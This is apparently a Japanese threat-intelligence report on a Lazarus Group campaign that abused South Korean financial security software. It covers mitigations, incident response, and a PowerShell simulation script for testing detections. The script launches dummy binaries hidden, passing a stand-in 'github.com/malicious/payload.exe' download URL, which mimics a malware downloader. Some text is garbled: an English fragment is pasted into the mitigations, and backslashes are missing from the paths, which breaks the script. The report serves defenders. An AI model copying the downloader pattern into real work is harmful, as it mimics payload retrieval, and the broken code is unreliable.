ラザルスが韓国のセキュリティソフトウェアを使用してポスト量子暗号化マルウェアを配信

概要

北朝鮮と関連のあるラザルスグループは、Operation FlashHoleとして追跡されているサイバー諜報活動キャンペーンを展開しています。グループは、広く使用されている韓国の金融セキュリティソフトウェアの脆弱性を悪用して、高度なマルウェアフレームワークを配備します。この最新のキャンペーンでは、コマンド&コントロール通信を保護するためのポスト量子暗号アルゴリズムが導入されています。

調査

KasperskyとAhnLabによる調査で、DLLサイドローディングと正規のシステムバイナリ（例えば fsquirt.exe）の悪用を含む複雑な感染チェーンが明らかになりました。アナリストたちはこのキャンペーンをSyncHoleを含む過去の作戦と結びつけ、マルウェアの洗練度における明確な進化を文書化しました。また、GitHub Pagesを悪意あるコンテンツのホスティング、およびTechHubやCubridgeといった高度なツールセットの使用も明らかにされました。

緩和策

INISAFE CrossWeb EXやAnySign4PCを含む金融セキュリティソフトウェアの更新を優先するべきです。DLLサイドローディングに対する厳格な制御を施し、セキュリティソフトウェアが起動する際の異常な親子プロセスの関係を監視することが重要です。防御者はまた、GitHubやDropbox APIへの意図しない接続を発見し、潜在的なC2活動を特定するために普段使用されないプロセスを監視する必要があります。 fsquirt.exe, is critical. Defenders should also monitor unexpected connections to GitHub or Dropbox APIs from uncommon processes to identify potential C2 activity.

対応策

悪意ある活動が検出された場合は、影響を受けたホストを隔離し、ファイル転送ソリューションを通じた横方向の動きを防ぎます。メモリフォレンジクスを実施して、メモリ内で実行される悪意あるDLLを特定し、未承認のファイル修正についてシステムを検査します。ネットワークのテレメトリをレビューして、疑わしい暗号化通信を確認し、暗号化されたデータの既知のダークウェブの漏洩サイト（例：ULOSE）への潜在的な流出試みを調査します。

シミュレーション実行

• 攻撃のシナリオ&コマンド： 攻撃者は、GitHubのリモートリポジトリに接続して次のペイロードを取得するために、TechHubダウンローダーを展開することを意図しています。検出を回避するため、特定のURLを使用して TechHub.exe バイナリを使用します。その後、 TouchHub.exe インストーラーを使用し、 TOUCHSHIFT パラメータを渡して悪意あるコンポーネントのインストールをトリガーします。これは、ラザルスグループによる特定のインジケーター・オブ・コンプロマイズ（IoC）をシミュレーションします。

• 回帰テストスクリプト：

  # Lazarus Group TechHub/TouchHub検出用シミュレーションスクリプト
  # このスクリプトは、マルウェアバイナリの存在をシミュレートするためのダミーファイルを作成します。
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # ダミーの実行ファイルを作成
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] TechHub活動をシミュレートしています..." -ForegroundColor Cyan
  # これは 'selection_techhub' をトリガーするはずです
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] TouchHub活動をシミュレートしています..." -ForegroundColor Cyan
  # これは 'selection_touchhub' をトリガーするはずです
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] シミュレーション完了。SIEMでアラートを確認してください。" -ForegroundColor Green

• クリーンアップコマンド：

  # シミュレーションされたファイルを削除するためのクリーンアップスクリプト
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] クリーンアップ成功: $TempDir を削除しました。" -ForegroundColor Green
  } else {
      Write-Host "[!] クリーンアップ失敗: ディレクトリが見つかりません。" -ForegroundColor Red
  }